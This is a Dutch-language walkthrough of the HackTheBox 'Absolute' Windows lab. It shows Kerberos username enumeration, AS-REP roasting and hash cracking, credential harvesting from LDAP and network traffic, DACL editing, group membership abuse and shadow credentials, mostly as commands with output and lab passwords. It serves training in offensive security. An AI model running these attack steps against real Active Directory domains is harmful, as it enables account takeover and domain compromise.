HTB – Absolute
Platform | HackTheBox |
Moeilijkheid | Insane |
OS | Windows |
Recon
Ping
We beginnen met het verzenden van een ping om te verifiëren dat we verbinding hebben met de machine en proberen het besturingssysteem te raden
$ ping -c 1 10.129.228.64
PING 10.129.228.64 (10.129.228.64) 56(84) bytes of data.
64 bytes from 10.129.228.64: icmp_seq=1 ttl=127 time=39.8 ms
--- 10.129.228.64 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 39.804/39.804/39.804/0.000 ms
Aangezien de ttl gelijk is aan 127, kunnen we denken dat we te maken hebben met een Windows-machine
Nmap
We gaan nmap gebruiken om de TCP-poorten te scannen en de uitvoer op te slaan in het scanbestand
$ nmap -p- -sS --min-rate 5000 -vvv -n -Pn -oN recon/scan 10.129.228.64
Nmap scan report for 10.129.228.64
Host is up, received user-set (0.032s latency).
Scanned at 2023-05-30 18:48:00 CEST for 13s
Not shown: 65508 closed tcp ports (reset)
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49439/tcp open unknown syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49673/tcp open unknown syn-ack ttl 127
49674/tcp open unknown syn-ack ttl 127
49675/tcp open unknown syn-ack ttl 127
49683/tcp open unknown syn-ack ttl 127
49695/tcp open unknown syn-ack ttl 127
49698/tcp open unknown syn-ack ttl 127
49702/tcp open unknown syn-ack ttl 127
Gebruik extractports, we kopiëren de poorten naar het klembord
$ extractports recon/scan
[*] Extrayendo puertos...
[+] Dirección IP: 10.129.228.64
[+] Puertos Abiertos: 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49439,49664,49665,49666,49667,49673,49674,49675,49683,49695,49698,49702
[*] Puertos copiados a la Clipboard
En we voeren een basisscan uit om services en versies te identificeren, met uitzondering van die hoger dan 49152 die vaak worden gebruikt door applicaties die het RPC-protocol implementeren.
$ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -oN recon/detections 10.129.228.64
Nmap scan report for 10.129.228.64
Host is up (0.034s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Absolute
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-05-30 23:52:28Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after: 2023-06-09T08:14:24
|_ssl-date: 2023-05-30T23:53:17+00:00; +7h00m05s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after: 2023-06-09T08:14:24
|_ssl-date: 2023-05-30T23:53:17+00:00; +7h00m06s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after: 2023-06-09T08:14:24
|_ssl-date: 2023-05-30T23:53:17+00:00; +7h00m05s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after: 2023-06-09T08:14:24
|_ssl-date: 2023-05-30T23:53:17+00:00; +7h00m06s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h00m05s, deviation: 0s, median: 7h00m05s
| smb2-time:
| date: 2023-05-30T23:53:11
|_ start_date: N/A
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
Via LDAP zien we dat het domein absolute.htb is en de naam van de machine dc.absolute.htb
wij voegen beide toe in /etc/hosts
$ echo "10.10.11.181 dc.absolute.htb dc absolute.htb" | sudo tee -a /etc/hosts
Web – TCP 80
$ for i in {1..6}; do wget http://absolute.htb/images/hero_$i.jpg; done
$ exiftool hero_1.jpg
ExifTool Version Number : 12.16
File Name : hero_1.jpg
Directory : .
[...]
Author : James Roberts
Creator Tool : Adobe Photoshop CC 2018 Macintosh
[...]
Credentials van d.klay
AS-REP Roast Attack
Een Kerberos AS-REP Roast-aanval vindt plaats wanneer een account de optie heeft ingeschakeld. Do not require Kerberos Authentication
. Met behulp van de GetNPUsers-tool van Impacket krijgen we een Kerberos 5-hash zonder pre-authenticatie (ook bekend als AS-REP-hash), die is afgeleid van het wachtwoord van de gebruiker, zodat we kunnen proberen een woordenboekaanval uit te voeren en het wachtwoord te krijgen als het zwak of voorspelbaar is
Om deze aanval uit te voeren, moeten we eerst geldige gebruikers krijgen en vervolgens de aanval uitvoeren met GetNPUsers
Creeer een lijst met gebruikers
Met een oneliner halen we de namen van de afbeeldingen eruit
$ exiftool hero_* | grep Author | awk '{print $3 " " $4}' | tee author_names
James Roberts
Michael Chaffrey
Donald Klay
Sarah Osvald
Jeffer Robinson
Nicole Smith
We gebruiken username-anarchy hiervoor
$ username-anarchy/username-anarchy -i author_names | tee anarchy_users
james
jamesroberts
james.roberts
jamesrob
jamerobe
jamesr
j.roberts
jroberts
[...]
Kerbrute
Find Valid Usernames
kerbrute is a tool for brute-forcing Kerberos. One of the options, userenum
will check which names in a list are valid usernames:
$ ./kerbrute userenum --dc dc.absolute.htb -d absolute.htb username-anarchy
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 05/31/23 - Ronnie Flathers @ropnop
2023/05/31 05:47:12 > Using KDC(s):
2023/05/31 05:47:12 > dc.absolute.htb:88
2023/05/31 05:47:12 > [+] VALID USERNAME: j.roberts@absolute.htb
2023/05/31 05:47:12 > [+] VALID USERNAME: m.chaffrey@absolute.htb
2023/05/31 05:47:12 > [+] VALID USERNAME: s.osvald@absolute.htb
2023/05/31 05:47:12 > [+] VALID USERNAME: d.klay@absolute.htb
2023/05/31 05:47:12 > [+] VALID USERNAME: j.robinson@absolute.htb
2023/05/31 05:47:12 > [+] VALID USERNAME: n.smith@absolute.htb
2023/05/31 05:47:12 > Done! Tested 88 usernames (6 valid) in 0.297 seconds
Extrahert
$ kerbrute userenum --dc dc.absolute.htb -d absolute.htb anarchy_users | awk 'NF {print $NF}' | grep -oP '.+@' | tr -d @ | tee users
GetNPUsers
Nu we de geldige gebruikers hebben, lanceren we de AS-REP Roast-aanval met het hulpprogramma GetNPUsers.py van Impacket
┌──(puck㉿kali)-[~/htb/ABSOLUTE] └─$ impacket-GetNPUsers -dc-ip dc.absolute.htb -usersfile valid_users absolute.htb/ Impacket v0.11.0 - Copyright 2023 Fortra [-] User j.roberts@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User m.chaffrey@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User s.osvald@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$d.klay@absolute.htb@ABSOLUTE.HTB:13fa219f97452dc1f11638d38e5d62dd$8111f86303065face01e5d0369fd9353865d96fda336e2d6f01902b8ef5c4412e4790e829e2fb2e670e62541d387a5817b7eb12fb79ae164c693b25289d5be9721080365c3ce52eae0e079e7e075b1d6d6e81f58a0eb18c8afa38c5f26af8b9f9fb16d5546a5cfe7493d9d2bc1dda2caaa9fd73f8b1cbaffaf22ef6b87322cf1c077257891596c9ad564c918e838f332842539701c2fdbcda8d1f6ec30276f1960f7f596da38885cb5af8f37d267235f43284a57050b25b5e0e829e229cc18001dc6395278c96950225f2b861f6926141c8ab2502c09633750e54fef91911e1747a44969ac9a424f2deb20be [-] User j.robinson@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User n.smith@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set ┌──(puck㉿kali)-[~/htb/ABSOLUTE] └─$
.
de gebruiker d.klay is AS-REP Roasteable,
┌──(puck㉿kali)-[~/htb/ABSOLUTE] └─$ hashcat -m 18200 d.klay-krb5asrep /usr/share/wordlists/rockyou.txt hashcat (v6.2.6) starting OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ================================================================================================================================================== * Device #1: cpu-haswell-Intel(R) Core(TM) i5-10210U CPU @ 1.60GHz, 6863/13790 MB (2048 MB allocatable), 8MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Optimizers applied: * Zero-Byte * Not-Iterated * Single-Hash * Single-Salt ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits. Watchdog: Temperature abort trigger set to 90c Host memory required for this attack: 2 MB Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 $krb5asrep$23$d.klay@absolute.htb@ABSOLUTE.HTB:13fa219f97452dc1f11638d38e5d62dd$8111f86303065face01e5d0369fd9353865d96fda336e2d6f01902b8ef5c4412e4790e829e2fb2e670e62541d387a5817b7eb12fb79ae164c693b25289d5be9721080365c3ce52eae0e079e7e075b1d6d6e81f58a0eb18c8afa38c5f26af8b9f9fb16d5546a5cfe7493d9d2bc1dda2caaa9fd73f8b1cbaffaf22ef6b87322cf1c077257891596c9ad564c918e838f332842539701c2fdbcda8d1f6ec30276f1960f7f596da38885cb5af8f37d267235f43284a57050b25b5e0e829e229cc18001dc6395278c96950225f2b861f6926141c8ab2502c09633750e54fef91911e1747a44969ac9a424f2deb20be:Darkmoonsky248girl Session..........: hashcat Status...........: Cracked Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP) Hash.Target......: $krb5asrep$23$d.klay@absolute.htb@ABSOLUTE.HTB:13fa...eb20be Time.Started.....: Fri Dec 29 23:06:55 2023 (4 secs) Time.Estimated...: Fri Dec 29 23:06:59 2023 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 2624.9 kH/s (2.38ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 11239424/14344385 (78.35%) Rejected.........: 0/11239424 (0.00%) Restore.Point....: 11231232/14344385 (78.30%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: Devanique -> Daniel240207 Hardware.Mon.#1..: Temp: 69c Util: 76% Cracking performance lower than expected? * Append -O to the commandline. This lowers the maximum supported password/salt length (usually down to 32). * Append -w 3 to the commandline. This can cause your screen to lag. * Append -S to the commandline. This has a drastic speed impact but can be better for specific attacks. Typical scenarios are a small wordlist but a large ruleset. * Update your backend API runtime / driver the right way: https://hashcat.net/faq/wrongdriver * Create more work items to make use of your parallelization power: https://hashcat.net/faq/morework [s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => Started: Fri Dec 29 23:06:39 2023 Stopped: Fri Dec 29 23:07:01 2023 ┌──(puck㉿kali)-[~/htb/ABSOLUTE]
om te veriferen gebruiken we crackmapexec
┌──(puck㉿kali)-[~/htb/ABSOLUTE] └─$ crackmapexec smb 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' -k SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False) SMB 10.10.11.181 445 DC [+] absolute.htb\d.klay:Darkmoonsky248girl ┌──(puck㉿kali)-[~/htb/ABSOLUTE]
om te vermijden KRB_AP_ERR_SKEW
, gebruiken we
└─$ sudo nmap -sU -p 123 10.10.11.181 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-24 18:27 CET Nmap scan report for dc.absolute.htb (10.10.11.181) Host is up (0.096s latency). PORT STATE SERVICE 123/udp open ntp Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds
en vervolgens
$ sudo ntpdate 10.10.11.181
┌──(puck㉿kali)-[~/htb/ABSOLUTE] └─$ crackmapexec ldap 10.10.11.181 -u d.klay -p Darkmoonsky248girl -k --users SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False) LDAP 10.10.11.181 389 DC [+] absolute.htb\d.klay:Darkmoonsky248girl LDAP 10.10.11.181 389 DC [*] Total of records returned 20 LDAP 10.10.11.181 389 DC Administrator Built-in account for administering the computer/domain LDAP 10.10.11.181 389 DC Guest Built-in account for guest access to the computer/domain LDAP 10.10.11.181 389 DC krbtgt Key Distribution Center Service Account LDAP 10.10.11.181 389 DC J.Roberts LDAP 10.10.11.181 389 DC M.Chaffrey LDAP 10.10.11.181 389 DC D.Klay LDAP 10.10.11.181 389 DC s.osvald LDAP 10.10.11.181 389 DC j.robinson LDAP 10.10.11.181 389 DC n.smith LDAP 10.10.11.181 389 DC m.lovegod LDAP 10.10.11.181 389 DC l.moore LDAP 10.10.11.181 389 DC c.colt LDAP 10.10.11.181 389 DC s.johnson LDAP 10.10.11.181 389 DC d.lemm LDAP 10.10.11.181 389 DC svc_smb AbsoluteSMBService123! LDAP 10.10.11.181 389 DC svc_audit LDAP 10.10.11.181 389 DC winrm_user Used to perform simple network tasks ┌──(puck㉿kali)-[~/htb/ABSOLUTE]
Een tool die Kerberos-authenticatie accepteert is echter de uitzondering en niet de norm. Daarom zullen we later de tools kinit en getTGT gebruiken om TGT’s te verkrijgen.
Credentials van smb_svc
Enumeratie voor LDAP
$ crackmapexec smb 10.129.228.64 -u svc_smb -p AbsoluteSMBService123! -k
SMB 10.129.228.64 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.129.228.64 445 DC [+] absolute.htb\svc_smb:AbsoluteSMBService123!
ldapsearch
Als alternatief en aanvullende informatie vermelden die crackmapexec ons niet laat zien, kunnen we ldapsearch gebruiken. Om dit te doen, zullen we een TGT moeten genereren voor de gebruiker d.klay
Om TGT’s te verkrijgen die ldapsearch gebruiken, of andere commando’s zoals net, die we later zullen gebruiken om gebruikers aan groepen toe te voegen via Kerberos, moeten we installeren
sudo apt-get install krb5-user
Het bestand /etc/krb5.conf ziet er dus zo uit
cat /etc/krb5.conf
[libdefaults]
default_realm = ABSOLUTE.HTB
[realms]
ABSOLUTE.HTB = {
kdc = dc.absolute.htb
}
[domain_realm]
.absolute.htb = ABSOLUTE.HTB
absolute.htb = ABSOLUTE.HTB
Wij verkrijgen de TGT en vermelden de verkregen Tickets
$ echo 'Darkmoonsky248girl' | kinit d.klay
Password for d.klay@ABSOLUTE.HTB:
$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: d.klay@ABSOLUTE.HTB
Valid starting Expires Service principal
03/06/23 00:45:08 03/06/23 04:45:08 krbtgt/ABSOLUTE.HTB@ABSOLUTE.HTB
renew until 03/06/23 04:45:08
Bovendien hebben we het pakket nodig om te authenticeren met behulp van het GSSAPI-authenticatiemechanisme dat vereist is door ldapsearch namelijk libsasl2-modules-gssapi-mit
$ sudo apt install libsasl2-modules-gssapi-mit
Iets belangrijks om in gedachten te houden is dat de naam van de DC, dc.absolute.htb, eerst in /etc/hosts moet komen. Anders wordt de volgende fout geretourneerd
ldapsearch -H ldap://dc.absolute.htb -b "dc=absolute,dc=htb"
SASL/GSSAPI authentication started
ldap_sasl_interactive_bind: Local error (-2)
additional info: SASL(-1): generic failure: GSSAPI Error: Unspecified GSS failure. Minor code may provide more information (Server not found in Kerberos database)
We voeren het opnieuw uit en filteren op het wachtwoord van de svc_smb-gebruiker
$ ldapsearch -H ldap://dc.absolute.htb -b "dc=absolute,dc=htb" 2>/dev/null | grep 'AbsoluteSMBService123!'
description: AbsoluteSMBService123!
SMB
In tegenstelling tot d.klay heeft de svc_smb-gebruiker leesmogelijkheden in de directory Shared
$ crackmapexec smb 10.10.11.181 -u svc_smb -p AbsoluteSMBService123! -k --shares
SMB 10.129.228.64 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.129.228.64 445 DC [+] absolute.htb\svc_smb:AbsoluteSMBService123!
SMB 10.129.228.64 445 DC [+] Enumerated shares
SMB 10.129.228.64 445 DC Share Permissions Remark
SMB 10.129.228.64 445 DC ----- ----------- ------
SMB 10.129.228.64 445 DC ADMIN$ Remote Admin
SMB 10.129.228.64 445 DC C$ Default share
SMB 10.129.228.64 445 DC IPC$ READ Remote IPC
SMB 10.129.228.64 445 DC NETLOGON READ Logon server share
SMB 10.129.228.64 445 DC Shared READ
SMB 10.129.228.64 445 DC SYSVOL READ Logon server share
We maken verbinding met smbclient.py van Impacket, niet met smbclient. In de map staan 2 bestanden, we downloaden ze voor latere analyse
└─$ impacket-smbclient 'absolute.htb/svc_smb:AbsoluteSMBService123!@dc.absolute.htb' -k
Impacket v0.9.25.dev1+20230823.145202.4518279 - Copyright 2021 SecureAuth Corporation
[-] CCache file is not found. Skipping...
Type help for list of commands
#
# shares
ADMIN$
C$
IPC$
NETLOGON
Shared
SYSVOL
# use shared
# ls
drw-rw-rw- 0 Thu Sep 1 19:02:23 2022 .
drw-rw-rw- 0 Thu Sep 1 19:02:23 2022 ..
-rw-rw-rw- 72 Thu Sep 1 19:02:23 2022 compiler.sh
-rw-rw-rw- 67584 Thu Sep 1 19:02:23 2022 test.exe
# mget *
[*] Downloading compiler.sh
[*] Downloading test.exe
Credentials van m.lovegod
Analyse van bestanden
Het bestand compiler.sh bevat slechts één regel die een programma in nim compileert dat als eerste argument is doorgegeven
$ cat compiler.sh
#!/bin/bash
nim c -d:mingw --app:gui --cc:gcc -d:danger -d:strip $1
De tweede is een uitvoerbaar bestand voor 64-bits Windows
$ file test.exe
test.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Dit wetende, gaan we de analyse van het programma uitvoeren op een virtuele Windows 10-machine
We gaan een dynamische analyse uitvoeren door naar het netwerkverkeer te luisteren. Allereerst gaan we vanaf onze Windows-machine verbinding maken met de VPN voor het geval de DC en Wireshark enige communicatie tot stand brengen om het verkeer te analyseren. Wij controleren de connectiviteit
We voeren het programma opnieuw uit, maar deze keer luistert Wireshark naar verkeer op de VPN-interface. We zien dat er netwerkverkeer is
Opmerking! Net als bij de virtuele Windows 10-machine heb ik het netwerk geconfigureerd als NAT, mijn hostcomputer fungeert als router en DNS-server, dus het lost de dc.absolute.htb-verzoeken op en ik heb geen DNS naar de domeincontroller hoeven configureren
Als u ziet dat de DNS-query niet wordt opgelost, zoals te zien is in de vorige afbeelding, moet u eerst de DC configureren als een DNS-server, aangezien poort 53 open was.
We gaan naar Netwerkverbindingen en klikken met de rechtermuisknop op de VPN-interface
Dubbel klik op “Protocolo de Internet versión 4 (TCP/IPv4)”
En we configureren het DC IP als DNS-server
Als we klaar zijn, voeren we het opnieuw uit en zien we dat zowel de DNS-query als de LDAP-authenticatie
Bij het analyseren van het verkeer realiseren we ons dat het probeert een eenvoudige authenticatie uit te voeren, waarbij de inloggegevens in platte tekst via het LDAP-protocol naar de gebruiker mlovegod worden verzonden met het wachtwoord AbsoluteLDAP2022!.
De server reageert echter met een invalidCredentials-bericht. Als we verbinding proberen te maken met Kerberos, zien we dat deze reageert met KDC_ERR_C_PRINCIPAL_UNKNOWN, wat ons vertelt dat de gebruiker niet bestaat
$ crackmapexec smb 10.10.11.181-u mlovegod -p AbsoluteLDAP2022! -k
SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.181 445 DC [-] absolute.htb\mlovegod:AbsoluteLDAP2022! KDC_ERR_C_PRINCIPAL_UNKNOWN
Eerder hadden we crackmapexec uitgevoerd om domeingebruikers met de inloggegevens van d.klay weer te geven en we realiseerden ons dat er inderdaad geen gebruiker is met de naam mlovegood, maar er is m.lovegod
LDAP 10.10.11.181 389 DC m.lovegod
We voeren de opdracht opnieuw uit, maar met de geldige gebruiker en verifiëren de inloggegevens
┌──(puck㉿kali)-[~/htb/ABSOLUTE]
└─$ crackmapexec smb 10.10.11.181 -u m.lovegod -p AbsoluteLDAP2022! -k
SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.181 445 DC [+] absolute.htb\m.lovegod:AbsoluteLDAP2022!
Shell – WinRM_USER
Bloodhound Analysis
Vervolgens zullen we gebruik maken van Bloodhound.py om map informatie van onze aanvallende machine te verkrijgen, aangezien we geen externe toegang hebben tot een domeinhost om SharpHound uit te voeren
┌──(puck㉿kali)-[~/htb/ABSOLUTE]
└─$ /opt/BloodHound.py-Kerberos/bloodhound.py -u m.lovegod -p 'AbsoluteLDAP2022!' -k -d absolute.htb -dc dc.absolute.htb -ns 10.10.11.181 -c ALL --zip
INFO: Found AD domain: absolute.htb
INFO: Using TGT from cache
WARNING: Username in ccache file does not match supplied username! d.klay@ABSOLUTE.HTB != m.lovegod@ABSOLUTE.HTB
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.absolute.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.absolute.htb
INFO: Found 18 users
INFO: Found 55 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.absolute.htb
INFO: Ignoring host dc.absolute.htb since its reported name does not match
INFO: Done in 00M 09S
INFO: Compressing output into 20240124181746_bloodhound.zip
┌──(puck㉿kali)-[~/htb/ABSOLUTE]
Allereerst gaan we zien tot welke groepen elke gebruiker van wie we de inloggegevens hebben verkregen, behoort en deze als gecompromitteerd markeren
We zien dat de drie gebruikers tot de groep PROTECTED USERS behoren, die NTLM-authenticatie voor zijn leden uitschakelt
Route van de aanval
Nu gaan we naar Analyse en klikken op Shortest Path from Owned Principal, d.klay en svc_smb retourneren geen informatie, behalve m.lovegod
We gaan analyseren hoe laterale bewegingen kunnen worden uitgevoerd, van de gebruiker m.lovegod naar de gebruiker WINRM_USER, die op afstand verbinding kan maken met de DC
Om de hulp of uitleg van Bloodhound te zien, klikken we met de rechtermuisknop op de toestemming en vervolgens op hulp
m.lovegod is eigenaar van de Network Audit-groep, zodat deze de beveiligingsbeschrijvingen kan wijzigen en er volledige controle over kan krijgen en later nieuwe gebruikers aan de groep kan toevoegen
Network Audit heeft GenericWrite-machtiging voor WINRM_USER, waardoor leden objectkenmerken kunnen wijzigen en schaduwreferenties kunnen toevoegen
dacledit
We gebruiken dacledit.py, hiervoor
Nos clonamos el repositorio, especificando la rama dacledit
$ git clone https://github.com/ShutdownRepo/impacket -b dacledit
Cloning into 'impacket'...
remote: Enumerating objects: 22819, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 22819 (delta 6), reused 9 (delta 6), pack-reused 22807
Receiving objects: 100% (22819/22819), 8.07 MiB | 10.10 MiB/s, done.
Resolving deltas: 100% (17414/17414), done.
We gaan naar de map en creëren een virtuele omgeving om de afhankelijkheden te installeren zonder conflicten te veroorzaken met de pakketten die al op het systeem zijn geïnstalleerd
$ cd impacket
$ python3 -m venv venv
$ source venv/bin/activate
$ pip3 install .
Om dacledit te gebruiken moeten we een TGT verkrijgen van m.lovegod
$ getTGT.py absolute.htb/m.lovegod:'AbsoluteLDAP2022!'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Saving ticket in m.lovegod.ccache
We passen de DACL van de NETWORK AUDIT-groep aan om er volledige controle over te krijgen
┌──(venv)─(puck㉿kali)-[~/htb/absolute/impacket]
└─$ KRB5CCNAME=m.lovegod.ccache dacledit.py -action 'write' -rights 'FullControl' -principal 'm.lovegod' -target 'NETWORK AUDIT' 'absolute.htb'/'m.lovegod':'AbsoluteLDAP2022!' -dc-ip dc.absolute.htb -k
Impacket v0.9.25.dev1+20221216.150032.204c5b6b - Copyright 2021 SecureAuth Corporation
[*] DACL backed up to dacledit-20230709-192006.bak
[*] DACL modified successfully!
┌──(venv)─(puck㉿kali)-[~/htb/absolute/impacket]
└─$
We voegen de gebruiker toe aan de groep
$ net rpc group addmem "Network Audit" "m.lovegod" -U "absolute.htb"/"m.lovegod"%'AbsoluteLDAP2022!' -S "dc.absolute.htb" --use-kerberos=required
$ net rpc group members "Network Audit" -U absolute.htb/m.lovegod%'AbsoluteLDAP2022!' -S dc.absolute.htb --use-kerberos=required
absolute\m.lovegod
absolute\svc_audit
Certipy – Shadow Credentials
Wanneer we een TGT verkrijgen, bevat deze informatie over de groepen waartoe de gebruiker behoort op het moment dat deze werd uitgegeven. Omdat we m.lovegod aan een nieuwe groep hebben toegevoegd, moeten we opnieuw een TGT verkrijgen met de bijgewerkte gegevens
Met de nieuwe groep krijgen we een nieuw TGT-ticket
$ getTGT.py absolute.htb/m.lovegod:'AbsoluteLDAP2022!'
Impacket v0.9.25.dev1+20221216.150032.204c5b6b - Copyright 2021 SecureAuth Corporation
[*] Saving ticket in m.lovegod.ccache
Certipy is een Python-bibliotheek voor het beheren van certificaten in Windows-omgevingen, terwijl Shadow Credentials een beveiligingsmechanisme zijn dat in Kerberos wordt gebruikt om gebruikersreferenties te beschermen door ze in gecodeerde vorm op te slaan.
$ pip3 install certipy-ad
certipy find zal allerlei informatie over het domein retourneren en hoe Active Directory Certificate Services (ADCS) is geconfigureerd. Het controleert /tmp/krb5cc niet standaard, dus ik moet die omgevingsvariabele instellen om het te kunnen gebruiken:
┌──(venv)─(puck㉿kali)-[~/htb/absolute/impacket]
└─$ KRB5CCNAME=m.lovegod.ccache certipy find -username m.lovegod@absolute.htb -k -target dc.absolute.htb
Certipy v4.5.1 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'absolute-DC-CA' via CSRA
[!] Got error while trying to get CA configuration for 'absolute-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'absolute-DC-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'absolute-DC-CA'
[*] Saved BloodHound data to '20230709195709_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20230709195709_Certipy.txt'
[*] Saved JSON output to '20230709195709_Certipy.json'
┌──(venv)─(puck㉿kali)-[~/htb/absolute/impacket]
kan dit bekijken, maar op dit moment is dit gewoon een goed teken dat ADCS is geïnstalleerd.
Dit volgende commando heeft een Kerberos-ticket nodig om te werken, en het lijkt erop dat het moet worden gegenereerd nadat de m.lovegod-gebruiker aan de groep is toegevoegd. De volgende foutmelding betekent dat ik mijn ticket moet verwijderen en opnieuw moet maken (met kinit of getTGT.py):
[-] Could not update Key Credentials for 'winrm_user' due to insufficient access rights: 00002098: SecErr: DSID-031514A0, problem 4003 (
INSUFF_ACCESS_RIGHTS), data 0
.
The file needs to be configured before this /etc/krb5.conf
! The configuration file is as follows
1 2 3 4 5 6 7 |
[libdefaults] default_realm = ABSOLUTE.HTB [realms] ABSOLUTE.HTB = { kdc = DC.ABSOLUTE.HTB admin_server = ABSOLUTE.HTB } |
This is because since you want to use the TGT ticket in kerberos to log in to winrm, you must first configure the configuration of the kerberos client
and finally obtain User.txt
.
